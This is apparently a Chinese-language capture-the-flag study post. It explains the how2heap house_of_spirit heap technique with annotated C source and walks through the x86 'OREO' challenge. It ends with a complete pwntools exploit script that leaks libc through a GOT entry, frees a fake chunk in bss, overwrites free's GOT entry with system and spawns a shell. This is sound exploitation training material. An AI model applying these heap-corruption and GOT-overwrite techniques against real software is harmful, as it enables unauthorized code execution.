0%

how2heap - house_of_spirit&OREO

how2heap - house_of_spirit&OREO

ubuntu 16.04 libc2.23

house_of_spirit.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include <stdio.h>
#include <stdlib.h>

int main()
{
fprintf(stderr, "This file demonstrates the house of spirit attack.\n");

fprintf(stderr, "Calling malloc() once so that it sets up its memory.\n");
malloc(1);

fprintf(stderr, "We will now overwrite a pointer to point to a fake 'fastbin' region.\n");
unsigned long long *a;
// This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)
unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));

fprintf(stderr, "This region (memory of length: %lu) contains two chunks. The first starts at %p and the second at %p.\n", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks[9]);

fprintf(stderr, "This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n");
fprintf(stderr, "... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n");
fake_chunks[1] = 0x40; // this is the size

fprintf(stderr, "The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n");
// fake_chunks[9] because 0x40 / sizeof(unsigned long long) = 8
fake_chunks[9] = 0x1234; // nextsize

fprintf(stderr, "Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]);
fprintf(stderr, "... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n");
a = &fake_chunks[2];

fprintf(stderr, "Freeing the overwritten pointer.\n");
free(a);

fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]);
fprintf(stderr, "malloc(0x30): %p\n", malloc(0x30));
}

基本就是初始化堆之后,在栈上通过伪造一个chunk来free然后malloc出来

记两句吧:

在栈上伪造fake chunk时,next chunk.size要满足条件才能通过free的检查

The chunk.size of the next fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.

fake chunk的地址需要16字节对齐(x64),所以在申请临时变量时才用到了__attribute__ ((aligned (16)))

note that the memory address of the region associated with this chunk must be 16-byte aligned.

Debug

fake chunk伪造完成之后栈上布局如图所示:

free之后:

再次malloc结束之后可以看到RAX中的返回值便是fake chunk的data region

OREO

写了好久的x64 heap这次总算碰到一个x86的 : )

程序分析

(经过分析之后先逆出了结构体和符号)

main函数:

main函数就是一段初始化,然后进入menu

通过fgets(&s, 0x20, stdin);__isoc99_sscanf(&s, "%u", &v1)的组合来输入然后switch

<Rifile structure>

分析下面几个函数时,先逆出程序用到的一个结构体,具体如下

add

具体就是一个链表添加、结构体填充的操作(先填forward_ptr,再输入),全局变量head_ptr存放链表头指针,每次malloc一个refle(fast chunk),然后从对应的位置用fgets输入。两处溢出:refle_name处的溢出可以覆盖到下一个chunk的0x19字节内容,newL_to_zero是将最后的换行符换成\x00,最后++refle_num

ps:fgets(,n,)时会读取 n-1个字符,并且包括 \n,如果输入字符的长度(不包括 \n)大于等于 n-1,则截取输入中前 n-1个字符(此时没有 \n)并把第 n个字符处填充成 \x00。当输入长度小于 n-1时,会把 \n也读入,并在 \n后面一个字节处填充 \x00(直接回车也会)

Show added rifles

根据链表输出所有refle的内容

order

判断refle_num是否为0,不为0则获取链表头指针之后free掉链表上的每一个chunk,然后把头指针head_ptr置零,chunk中的forward_refle_ptr没有置零。然后++ordered_num

leave_message

输入0x80长度的notice到notice_ptr所指向的区域

show_stats

输出refle_numordered_numnotice

Exploit

程序本身没有进行 setbuf 操作,所以在执行输入输出操作的时候会申请缓冲区,初次调用 puts 时,malloc会分配缓冲区1024B 给stdout / 初次调用fgets时,malloc会分配缓冲区1024B 给stdin

所以一上来程序heap视图中就会有两个chunk,暂时觉得是知道怎么来的就好了 :(

这种链表题第一次自己写好像没有思路,先记录一下能想到东西吧

leak:

leak libc的话,主要思路是通过溢出修改forward_ptr,使其指向对应GOT表的一些偏移,然后show added rifles时可以把函数的地址打印出来,leak chunk地址也可以通过这个方法,把forward_ptr改成head_ptr地址即可

leak stack好像行不通…

Arbitrary write:

程序只有三个输入点

  1. switch时调用的fgetssscanf组合(应该没什么用,输入指针都是栈上的偏移)
  2. add中的fgets,指针是对于结构体(chunk)的偏移,但是head_ptr的值在其中不可控,是malloc返回后直接输入的
  3. leave_message中的fgets(notice_ptr, 0x80, stdin);这个是根据bss段上的一个指针来读取内容的

ps:然后……过了好久终于才把house_of_spirit和这个题结合起来,我太stupid了

可以通过修改forward_ptr,指向一个bss段上有我们可控值的地方

举例子拿上面第一个个8B对齐的地址来说,如果我们add一个chunk然后修改forward_ptr指向这里,此时0x0804A29c处的值就是fake chunk的size字段,当然这里不可控所以我们要用第二个:0x0804A2A0,此时refle_num是可控的。

然后order的时候这块内存也会被free出来,只要我们保证house_of_spirit.c中提到的fake next chunk的size段是正常的就可以被正常free(对应的size段在notice上,对应在notice上的偏移为:0x0804A2A0+0x40+4-0x0x0804A2C0=36)

接着这块内存就可以被正常malloc出来,这个时候就有了可控的notice_ptr,然后再通过leave_message就可以达成Arbitrary write了!(自己花时间想出来了太开心 XD)

实现

leaklibc

1
2
3
4
5
6
7
8
9
printf_GOT=0x0804A234
libc_base=0
def leaklibc():
add('a'*27+p32(printf_GOT),'b'*0x23)#change forward_ptr by refle_name
show_added_rifles()
p.recvuntil('Description: ')
p.recvuntil('Description: ')
global libc_base
libc_base=my_u32(p.recv(4))-0x49670

free target chunk

1
2
3
4
5
6
7
8
9
#Cycle to fakesize=0x3f
for i in range(0x3f):
add('name','description')
order()

leave_message('\x00'*36+p32(0x41))#Set fake next chunk size

add('a'*27+p32(0x0804A2A8),'b'*0x23)
order()#Free our bss memory out

先add 0x3f个rifle然后order,目标chunk的size被设置成0x3f,然后构造fake next size来过free的检查,接着再add一个forward_ptr为目标chunk的rifle,此时目标chunk的size为0x40,然后free出目标chunk

set GOT

1
2
3
4
5
6
7
log.info("\033[1;36m" + 'free out' + "\033[0m")
add('name',p32(free_GOT))#Set notice_ptr to free_GOT

leaklibc()#Now leak libc
log.info("\033[1;36m" + 'libc_base:'+hex(libc_base) + "\033[0m")

leave_message(p32(system_offset+libc_base)+p32(fgets_offset+libc_base))#Set free_GOT to system

再次malloc的时候就可以把目标chunk malloc出来了,然后直接在notice_ptr处填入free函数的GOT表地址

接着将system函数的实际地址填到free_GOT去

ps:leaklibc的操作要放到后面,要不然前面 leak之后再调用 order会出错,以及这里 free函数和 fgets的 GOT表项挨在一起,用 fgets 只填入 system 函数地址的话 fgets 的 GOT表项会被损坏(具体见前面所写的 fgets流程),程序往后运行会出错,所以这里填了两个

getshell

1
2
add('/bin/sh','/bin/sh')#Set /bin/sh for system(linked list head)
order()#free(head_ptr)=system(binsh_ptr)

这个应该不用解释了

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
# -*- coding: utf-8 -*-
from __future__ import print_function
from pwn import *

binary = './oreo' #binary's name here
context.binary = binary #context here
context.log_level='debug'
pty = process.PTY
p = process(binary, aslr = 1, stdin=pty, stdout=pty) #process option here
'''
Host =
Port =
p = remote(Host,Port)
'''
elf = ELF(binary)
libc = elf.libc

my_u64 = lambda x: u64(x.ljust(8, '\0'))
my_u32 = lambda x: u32(x.ljust(4, '\0'))
ub_offset = 0x3c4b30
codebase = 0x555555554000
#log.info("\033[1;36m" + hex(bin_addr) + "\033[0m")

# todo here
def add(name,description):
p.recvuntil('Action: ')
p.sendline('1')

p.recvuntil('Rifle name: ')
p.sendline(name)

p.recvuntil('Rifle description: ')
p.sendline(description)

def show_added_rifles():
p.recvuntil('Action: ')
p.sendline('2')

def order():
p.recvuntil('Action: ')
p.sendline('3')

def leave_message(notice):
p.recvuntil('Action: ')
p.sendline('4')

p.recvuntil('your order: ')
p.sendline(notice)

def show_stats():
p.recvuntil('Action: ')
p.sendline('5')

printf_GOT=0x0804A234
libc_base=0
system_offset=0x3ada0
free_GOT=0x0804A238
fgets_offset=0x5e150
def leaklibc():
add('a'*27+p32(printf_GOT),'b'*0x23)
show_added_rifles()
p.recvuntil('Description: ')
p.recvuntil('Description: ')
global libc_base
libc_base=my_u32(p.recv(4))-0x49670

#Cycle to fakesize=0x3f
for i in range(0x3f):
add('name','description')
order()

leave_message('\x00'*36+p32(0x41))#Set fake next chunk size

add('a'*27+p32(0x0804A2A8),'b'*0x23)
order()#Free our bss memory out

log.info("\033[1;36m" + 'free out' + "\033[0m")
add('name',p32(free_GOT))#Set notice_ptr to free_GOT

leaklibc()#Now leak libc
log.info("\033[1;36m" + 'libc_base:'+hex(libc_base) + "\033[0m")

leave_message(p32(system_offset+libc_base)+p32(fgets_offset+libc_base))#Set free_GOT to system
add('/bin/sh','/bin/sh')#Set /bin/sh for system (linked list head)
order()#free(head_ptr)=system(binsh_ptr)
#getshell
p.interactive()